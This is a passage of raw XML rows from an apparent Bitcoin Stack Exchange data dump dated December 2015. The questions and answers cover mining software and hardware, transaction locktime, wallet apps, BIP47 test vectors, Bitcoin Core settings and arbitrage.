outputs, thus (among other things) improving users' unlinkability and making taint analysis harder.&lt;/p&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2015-12-16T04:16:17.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41879" PostTypeId="1" CreationDate="2015-12-16T05:30:48.693" Score="2" ViewCount="120" Body="&lt;p&gt;I'm using eth to GPU mine for Ethereum. After running for 10 minutes, it said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;i  23:58:32|gpuminer0  Mined #7a877124ΓÇª (parent: #d4e56740ΓÇª )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this were Bitcoin, I'd go check it out on blockchain.info and also rejoice that I just got 25 BTC. What did I accomplish for Ethereum and how do I confirm it?&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2015-12-16T05:30:48.693" Title="eth says that I just mined something: now what?" Tags="|ethereum|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T18:47:21.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="41881" PostTypeId="1" CreationDate="2015-12-16T07:36:53.237" Score="1" ViewCount="264" Body="&lt;p&gt;I've made this transaction in the testnet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://testnet.blockexplorer.com/tx/2f18c646a2b2ee8ee1f295bb5a0f5cc51c5e820a123a14b0c0e170f9777518bb&quot; rel=&quot;nofollow&quot;&gt;https://testnet.blockexplorer.com/tx/2f18c646a2b2ee8ee1f295bb5a0f5cc51c5e820a123a14b0c0e170f9777518bb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a multisign tx with locktime. The locktime has expired and the tx is signed, but it isn't confirmed... Does somebody know why this tx isn't confirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31240" LastEditorUserId="18196" LastEditDate="2015-12-17T15:40:09.833" LastActivityDate="2016-01-16T16:19:38.793" Title="Does a transaction with a lock time need more time to be confirmed?" Tags="|confirmations|multi-signature|testnet|unconfirmed-transactions|transactions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41884" PostTypeId="2" ParentId="41868" CreationDate="2015-12-16T11:01:08.373" Score="2" Body="&lt;p&gt;The purpose of the blockchain is to create agreement about the ownership of balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem&lt;/strong&gt; is that if everybody was creating their own records of transactions they witness, the various records would be in different orders and any conflicting transactions would cause a split in what is considered true. At any point of time it would be very unlikely for any two sets of records to match completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Traditional money services&lt;/strong&gt; solve this by having a trusted entity as the arbitrator and sole source of truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin solves this differently: Each participant collects all transactions they hear about and repeatedly proposes these packaged as a set of updates. We call these sets of balance updates &lt;strong&gt;blocks&lt;/strong&gt;. Instead of having a sole source of truth, the network holds a lottery to designate one of these blocks as the commonly accepted new status quo of the balances. As each block refers to the previous commonly accepted network state and by its acceptance creates a new commonly accepted network state, the blocks create the eponymic chain of commonly accepted states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting &lt;strong&gt;blockchain&lt;/strong&gt; contains the record of every transaction ever performed on the Bitcoin network. It also allows any new participant to audit the accuracy of the present status quo of the network. Upon joining, they rebuild the set of balances by applying each block in the right order, and will finally arrive in agreement with the rest of the network.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-16T11:14:16.853" LastActivityDate="2015-12-16T11:14:16.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41885" PostTypeId="1" CreationDate="2015-12-16T11:40:21.380" Score="0" ViewCount="524" Body="&lt;p&gt;The bitcoin.org site that provides a list of wallet clients doesn't clearly show which allow for importing bitcoin via a QR paper wallet. Does anyone know a location to see which support such features, or know of ones that work on mobile phones that clearly support swiping?&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2018-03-28T07:54:43.510" Title="Which mobile apps support swiping/importing private keys via QR code?" Tags="|paper-wallet|qrcode|private-key-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41886" PostTypeId="2" ParentId="41885" CreationDate="2015-12-16T15:19:05.267" Score="1" Body="&lt;p&gt;These wallets do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin Wallet&lt;/li&gt;&#xA;&lt;li&gt;Mycelium &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-16T15:19:05.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41888" PostTypeId="1" CreationDate="2015-12-16T21:39:05.733" Score="1" ViewCount="1622" Body="&lt;p&gt;I have an old AntMiner S1 sitting in my closest, which uses the AntMiner BM1380 mining chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the data sheet for the chip, found here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitmaintech.com/files/download/BM1380_Datasheet_v1.0.pdf&quot; rel=&quot;nofollow&quot;&gt;https://bitmaintech.com/files/download/BM1380_Datasheet_v1.0.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is also this repo, &lt;a href=&quot;https://github.com/AntMiner/AntGen1&quot; rel=&quot;nofollow&quot;&gt;https://github.com/AntMiner/AntGen1&lt;/a&gt;, which includes reference designs of the miner, as well as firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is just the firmware images, not the firmware itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to want to use a single chip(totally pointless, but I mean in some other configuration then the S1 blades) to make a small miner, how would I go about sending instructions and data to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any reference firmware source, or point me towards a document that makes sense of the required inputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see on the data sheet oscillator input, oscillator output, etc. but am not sure what the required input is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;===&lt;br&gt;&#xA;I am adding to the question: does anyone have an example on how to test the chip to see if it is good ? Connecting an Arduino or something like that ?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="31250" LastEditorUserId="38483" LastEditDate="2016-07-10T03:46:13.243" LastActivityDate="2016-07-10T03:46:13.243" Title="Using BM1380(or other) Mining Chips" Tags="|asic|mining-hardware|antminer|mining-software|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41889" PostTypeId="2" ParentId="41881" CreationDate="2015-12-16T22:53:16.783" Score="1" Body="&lt;p&gt;Mempools are constantly changing. Each node has its own policy (how much of it to keep, when it gets cleared, which ones stay when a block is found, etc) so it's difficult to know if your transaction is on the network. Generally, you can be sure that a tx with a sufficiently high locktime won't be in the blocks before that locktime, but you are not guaranteed that it will be in the blocks after for a lot of other reasons (insufficient fee and mempool turnover being the two big ones). Generally with these types of transactions, it's recommended that you broadcast after the locktime has passed.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-16T22:53:16.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41890" PostTypeId="1" CreationDate="2015-12-17T00:02:32.663" Score="1" ViewCount="35" Body="&lt;p&gt;I want to use some form of crypto-currency/blockchain algorithm to represent the notion of &quot;&lt;em&gt;endorsement&lt;/em&gt;&quot;, in the sense of approval.  One approach is to have a coin that you can give to a recipient, while retaining ownership and control of the coin, so that you can withdraw it at any time and give it to someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a thing? Is there any reason why you can't do this with a blockchain?  What are the issues?&lt;/p&gt;&#xA;" OwnerUserId="31254" LastEditorUserId="18196" LastEditDate="2015-12-17T15:32:23.717" LastActivityDate="2015-12-17T15:32:23.717" Title="Retaining Ownership of an 'Approval' Indicator Coin" Tags="|transactions|blockchain|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41891" PostTypeId="1" AcceptedAnswerId="41909" CreationDate="2015-12-17T00:39:03.363" Score="2" ViewCount="350" Body="&lt;p&gt;I'm trying to make a bitcoin app and would like to use a full node so I purchased a 128gb usb 3.0 drive to store it on. I use an early 2014 macbook air: 1.4 GHz Intel Core i5, 8 GB 1600 MHz DDR3. Is processing being throttled by the usb connection? Drive is formatted as mac os extended journaled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoin core, it is syncing very slowly. After almost 24 hours it says last received block was generated 2 years 3 weeks ago. The sync bar is about 1/8 of the way done. Any thoughts or recommendations would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="31255" LastActivityDate="2015-12-17T20:11:02.403" Title="Syncing node to usb 3.0 drive taking ages" Tags="|blockchain|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41892" PostTypeId="2" ParentId="35682" CreationDate="2015-12-17T00:45:27.177" Score="0" Body="&lt;p&gt;Took me AWHILE to figure out how to make this cheap piece work with straight cgminer in linux...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First grab the cgminer version from &lt;a href=&quot;https://github.com/dmaxl/cgminer/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dmaxl/cgminer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you configure it with --enable-scrypt and --enable-zeus...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo ./cgminer --scrypt --zeus-chips 1 --zeus-clock 200 -S /dev/ttyUSB0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use lsusb to figure out what the USB # is and you can crank the clock from 200 - 300... maybe more... It'll get hot and need a fan, if you crank it up too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These LKETC USB miners are indeed using Zeus chips&lt;/p&gt;&#xA;" OwnerUserId="31256" LastActivityDate="2015-12-17T00:45:27.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41894" PostTypeId="1" CreationDate="2015-12-17T05:47:24.083" Score="2" ViewCount="177" Body="&lt;p&gt;I don't mind buying an IR thermometer but it there a way to read the temperature of the ASIC from the command line? I am using cgminer.&lt;/p&gt;&#xA;" OwnerUserId="31264" LastActivityDate="2015-12-17T05:47:24.083" Title="cgminer: how to read the ASIC temperture" Tags="|cgminer|mac|asic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41895" PostTypeId="1" CreationDate="2015-12-17T06:43:14.773" Score="2" ViewCount="537" Body="&lt;p&gt;I notice that my wallet address keeps changing and I am wondering two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why does the address dynamically change?&lt;/li&gt;&#xA;&lt;li&gt;Do I need to update the wallet address in the faucets I use in order to receive the satoshis? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It will be a pain if I have to constantly update my wallet address in the faucets.&lt;/p&gt;&#xA;" OwnerUserId="31176" LastEditorUserId="5292" LastEditDate="2015-12-17T16:57:02.983" LastActivityDate="2018-09-09T09:27:26.983" Title="Do I need to keep updating my wallet address in faucets?" Tags="|wallet|faucets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41896" PostTypeId="1" AcceptedAnswerId="42209" CreationDate="2015-12-17T06:47:20.940" Score="1" ViewCount="168" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0047.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP47&lt;/a&gt; is a new secret-sharing protocol which succeeds &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0064.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP64&lt;/a&gt; (stealth addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://gist.github.com/SamouraiDev/6aad669604c5930864bd&quot; rel=&quot;nofollow&quot;&gt;test vectors are here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck on part &lt;code&gt;2.iv&lt;/code&gt;. We multiply &lt;code&gt;S0 = B0 * a0&lt;/code&gt; (&lt;code&gt;024ce8e3b04ea205ff49f529950616c3db615b1e37753858cc60c1ce64d17e2ad8 *  8d6a8ecd8ee5e0042ad0cb56e3a971c760b5145c3917a8e7beaf0ed92d7a520c = 03f5bb84706ee366052471e6139e6a9a969d586e5fe6471a9b96c3d8caefe86fef&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that we are looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s = HMAC-SHA512(x, o)&#xA;&quot;x&quot; is the x value of the secret point&#xA;&quot;o&quot; is the outpoint being spent by the first pubkey-exposing input of the transaction.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does &lt;code&gt;HMAC-SHA512(x, o)&lt;/code&gt; mean, first of all? What is &lt;code&gt;o&lt;/code&gt; specifically? And how does this factor in with the test vector values?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2016-01-23T23:29:30.430" LastActivityDate="2016-01-23T23:29:30.430" Title="Testing BIP47 test vectors" Tags="|stealth-address|bip47|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41897" PostTypeId="1" AcceptedAnswerId="41904" CreationDate="2015-12-17T07:14:56.653" Score="3" ViewCount="491" Body="&lt;p&gt;What do Bitcoin Core options &quot;maxreceivebuffer&quot; and &quot;maxsendbuffer&quot; do? Is this a way of controlling the bandwidth Bitcoin Core uses?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-12-17T17:09:44.790" Title="What do Bitcoin Core options &quot;maxreceivebuffer&quot; and &quot;maxsendbuffer&quot; do?" Tags="|bitcoind|bitcoin-core|network|full-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41898" PostTypeId="2" ParentId="41895" CreationDate="2015-12-17T08:07:11.243" Score="2" Body="&lt;p&gt;You're using a HD Wallet which specifically avoids reused addresses. You can of course reuse an address, so putting the same address into faucets is probably the only way to spend the low value input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, reuse the address&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-12-17T08:07:11.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41902" PostTypeId="2" ParentId="18928" CreationDate="2015-12-17T14:13:13.733" Score="3" Body="&lt;p&gt;In &lt;a href=&quot;https://www.blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;Blockonomics&lt;/a&gt; you can search multiple addresses of a wallet at once. It also has a &lt;a href=&quot;https://www.blockonomics/blockonomics&quot; rel=&quot;nofollow&quot;&gt;wallet watcher&lt;/a&gt;  where you can enter multiple addresses  and get the overall balance in btc and currency of your choice. You can also see history of tx&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-12-17T14:13:13.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41903" PostTypeId="1" CreationDate="2015-12-17T16:25:35.993" Score="3" ViewCount="298" Body="&lt;p&gt;I need to implement a BTC payment system on my web-store. But I'm still not sure about the mechanisms I'm supposed to use for payment confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a user registered on my store and I created a new address for his account by using getnewaddress('user-name').  I also generate a new address for every new transaction. How can I track the status of a payment made to this address?&lt;/p&gt;&#xA;" OwnerUserId="31273" LastEditorUserId="44" LastEditDate="2015-12-17T22:24:00.767" LastActivityDate="2015-12-23T20:00:10.140" Title="Validate a payment using bitcoind and json rpc" Tags="|bitcoind|json-rpc|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41904" PostTypeId="2" ParentId="41897" CreationDate="2015-12-17T17:09:44.790" Score="1" Body="&lt;p&gt;Buffers are areas of memory where data waits before it gets processed. So a receive buffer holds some data coming from the network until the process (bitcoind) is ready to actually handle it. The send buffer holds data put there by bitcoind until your operating system is ready to actually dump it on the network wire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They need to be a decent size not to cripple smooth communication. Too large would just be a waste and not help anything. In 99.9% of the cases the defaults should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're not a method of affecting the bandwidth use though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly sure the upcoming version will have options for rudimentary bandwidth throttling. Until then you could try lowering &lt;code&gt;maxconnections&lt;/code&gt; (default 125) if you want a lower bandwidth on average (over a month for example). But peak usage will still be high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your operating system you could try some QOS scripts/settings or QOS settings on your router.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-17T17:09:44.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41905" PostTypeId="2" ParentId="41853" CreationDate="2015-12-17T17:20:56.360" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] how to found a company and deal with tax issues and other related human resources issues like payroll.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think such sources are currently available for one simple reason: up to now the bitcoin space is mainly unregulated (including the issue of payroll).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debate of bitcoin in the legal system is just in the beginning. It's not even that clear (worldwide) whether bitcoin is legally consider money or not. On 2014, Andreas Antonopoulos spoke in front of the Banking, Trade and Commerce committee of the Senate of Canada to address such issues of regulations. I strongly recommend you to watch the &lt;a href=&quot;https://www.youtube.com/watch?v=xUNGFZDO8mM&quot; rel=&quot;nofollow&quot;&gt;full 2hr video&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Guides/books on how to start a Bitcoin-accepting online business?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Supposing that you are already familiar with the basics of Bitcoin, I guess the next step would be deciding how you are gonna accept Bitcoin payments. There are several ways to accept &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_accept_Bitcoin,_for_small_businesses&quot; rel=&quot;nofollow&quot;&gt;Bitcoin for small businesses&lt;/a&gt;. Probably, the most popular ones are &lt;a href=&quot;https://www.coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; and &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still looking for ideas for businesses with bitcoin, an interesting place to start is the Million Killer Apps series of James D'Angelo (&lt;a href=&quot;https://www.youtube.com/watch?v=4nOfHpOFhN8&quot; rel=&quot;nofollow&quot;&gt;Part 1&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=Uci0Df7zO8c&quot; rel=&quot;nofollow&quot;&gt;Part 2&lt;/a&gt;). You might also find useful to subscribe his channel.&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-12-17T17:20:56.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41906" PostTypeId="1" CreationDate="2015-12-17T18:35:30.020" Score="6" ViewCount="484" Body="&lt;p&gt;Bitcoin’s Script is the forth-like, non-Turing complete language used for transactions. However, in practice, a very limited number of kinds of scripts are allowed, a number of opcodes have been disabled, and even a number of bugs in script have to be replicated to maintain consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have there been any innovations by the altcoin community, in their forks of Bitcoin’s Script? Any with non-secp256k1 crypto? Any with more functional bignum / arbitrary integer functionality that can do cryptographic primitives? Any that add Turing complete functionality?&lt;/p&gt;&#xA;" OwnerUserId="31277" LastEditorUserId="5406" LastEditDate="2015-12-24T09:56:35.663" LastActivityDate="2023-05-19T11:55:24.690" Title="Any Innovations in altcoin tech for Bitcoin’s Script language?" Tags="|script|altcoin|" AnswerCount="1" CommentCount="3" ClosedDate="2023-04-13T18:19:11.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="41909" PostTypeId="2" ParentId="41891" CreationDate="2015-12-17T20:11:02.403" Score="3" Body="&lt;p&gt;Increasing the database cache should help a lot to reduce disk I/O. For example &lt;code&gt;dbcache=400&lt;/code&gt; (100 MB is the default).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-17T20:11:02.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41910" PostTypeId="1" CreationDate="2015-12-17T22:27:52.090" Score="0" ViewCount="1208" Body="&lt;p&gt;I was curious as to whether is it legal/allowed to buy bitcoins (from a friend for example) from another country where the value is less and then sell the bitcoins in the UK, for a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to bitcoin in general and still a student at University.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is legal to do, is there any information, or could you provide information as to how I would go about setting up a Bank Account that would accept large volumes of money going into the account due to bitcoin selling, as well as using that account to purchase bitcoins from abroad. And what are things that I should look out for, any legal issues etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appriciate your time and help people.&lt;/p&gt;&#xA;" OwnerUserId="31282" LastEditorUserId="5406" LastEditDate="2015-12-18T10:20:20.323" LastActivityDate="2016-01-17T10:32:15.700" Title="Buying from country A, selling in country B" Tags="|legal|arbitrage|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41911" PostTypeId="1" CreationDate="2015-12-17T23:58:24.193" Score="2" ViewCount="1625" Body="&lt;p&gt;when a miner solves a block it gets sent out to the network, when other nodes receive it, how do they verify that the block received was indeed solved and can be added to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you don't know what the answer is but if you got the answer you know what the question was.&lt;/p&gt;&#xA;" OwnerUserId="14697" LastEditorUserId="5406" LastEditDate="2015-12-18T10:21:48.117" LastActivityDate="2019-07-10T18:27:20.690" Title="how do nodes verify that a block has been solved and can be added to the blockchain" Tags="|blockchain|block|verification|consensus|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41912" PostTypeId="1" CreationDate="2015-12-18T01:00:25.677" Score="2" ViewCount="280" Body="&lt;p&gt;Ok, we already experienced over the last 6yr's how bitcoin mining calculations went from mineable with a cpu, to where you need very expensive computer equipment to mine profitably. So what's going to happen to Bitcoin mining when virtually nobody can afford the equipment, and not to mention the calculations get so complex and difficult that it takes months or even yrs to complete a calculation? Only thing I can think of is Bitcoin exchange rate will increase to a point where 1 bitcoin would be worth millions, NO?? &lt;/p&gt;&#xA;" OwnerUserId="31284" LastEditorUserId="5406" LastEditDate="2015-12-18T10:06:55.917" LastActivityDate="2016-01-13T16:53:48.040" Title="What will happen to Bitcoin when it takes years to complete a calculation?" Tags="|difficulty|adoption|hashpower|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41913" PostTypeId="2" ParentId="41911" CreationDate="2015-12-18T01:32:36.597" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35699/what-is-a-block/35700#35700&quot;&gt;StephenM wrote a good answer to that:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;5&quot;&gt;&#xA;  &lt;li&gt;The difficulty (or nBits as it is called in the code) is shorthand for how difficult it is to solve the block. Essentially, it encodes a target value, and the hash of the block (when treated as a 256 bit integer) must be below that target value to be considered solved.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-12-18T01:32:36.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41914" PostTypeId="1" AcceptedAnswerId="41917" CreationDate="2015-12-18T04:06:10.453" Score="3" ViewCount="155" Body="&lt;p&gt;Any idea why there is a such a distinct staircase pattern that ends with a giant spike of received data? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally the network graph looks random:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E2f8Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E2f8Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastEditorDisplayName="user29303" LastEditDate="2015-12-18T05:29:42.587" LastActivityDate="2015-12-18T14:28:38.637" Title="What's going on with my node traffic?" Tags="|bitcoin-core|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41915" PostTypeId="1" CreationDate="2015-12-18T08:51:30.223" Score="1" ViewCount="234" Body="&lt;p&gt;Initailly i am using bitcoinj-core-0.12.2.jar and bitcoinj-tools-0.12.2.jar on my project.Now i updated it with bitcoinj-core-0.13-bundled.jar because i am assuming that bitcoinj-core-0.13-bundled is providing support for MySQLFullPrunedBlockStore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a new database in mysql with bitcoinj when i run-app my grails app it create following tables&#xA;&lt;strong&gt;&lt;br/&gt;headers&#xA;&lt;br/&gt;openoutputs&#xA;&lt;br/&gt;settings&#xA;&lt;br/&gt;undoableblocks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and show following error&#xA;&lt;strong&gt;| Error org.bitcoinj.store.BlockStoreException: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Table 'bitcoinj.undoableBlocks' doesn't exist&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove this error i have renamed table undoableblocks with undoableBlocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i again run-app my app and it show following error&#xA;&lt;strong&gt;| Error org.bitcoinj.store.BlockStoreException: Database block store is not compatible with the current release.  See bitcoinj release notes for further information: Table 'bitcoinj.openOutputs' doesn't exist&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove this error i have renamed table openoutputs with openOutputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i again run-app my app and it show following error&#xA;&lt;strong&gt;| Error org.bitcoinj.store.BlockStoreException: corrupt database block store - no chain head pointer ...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me how to slove this error. &lt;/p&gt;&#xA;" OwnerUserId="30136" LastActivityDate="2015-12-18T08:51:30.223" Title="How to use MySQLFullPrunedBlockStore with bitcoinj-core-0.13-bundled.jar" Tags="|blockchain|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41916" PostTypeId="2" ParentId="41910" CreationDate="2015-12-18T09:12:37.123" Score="3" Body="&lt;p&gt;Sure it's legal. Unless either country has outright banned buying/selling Bitcoins. I don't think there's any country that has gone that far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to report income/profit/trades to your tax office, depending on local laws. In some countries you may need to pay VAT as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up accounts with (foreign) exchanges means that you are entrusting them with your bitcoins, money and ID (copies of passport etc.). Exchanges disappear overnight sometimes, so make sure to put that into your risk calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending Bitcoins around the world is pretty much instant. Exchanges require up to a few hours of confirmations sometimes, but that's still nothing compared to sending your fiat money around the world through the banking system: that can take weeks and cost you many percentages. To/from some countries it's even almost impossible to send/receive fiat money (China comes to mind).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this means that Arbitrage is not as easy as it seems and that's why there's still a price difference.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-18T09:12:37.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41917" PostTypeId="2" ParentId="41914" CreationDate="2015-12-18T09:17:19.437" Score="1" Body="&lt;p&gt;The green spikes indicate when you receive a new block, on average every 10 minutes. Then your node is busy for a little while to verify the block and then it starts uploading it to other nodes (red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there's TCP congestion collapse happening when your link is saturated by the high amount of traffic when a new block comes in. After that all TCP sessions start speeding up again slowly. Another keyword to look for is bufferbloat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes QOS settings on your router might prevent this. If you have the ability to specify a maximum bandwidth use which is ~5% below the theoretical limit, usually that helps a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm not mistaken, the upcoming version of bitcoind will have some rudimentary bandwidth control options, then it might help to restrict it a little bit.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-12-18T14:28:38.637" LastActivityDate="2015-12-18T14:28:38.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
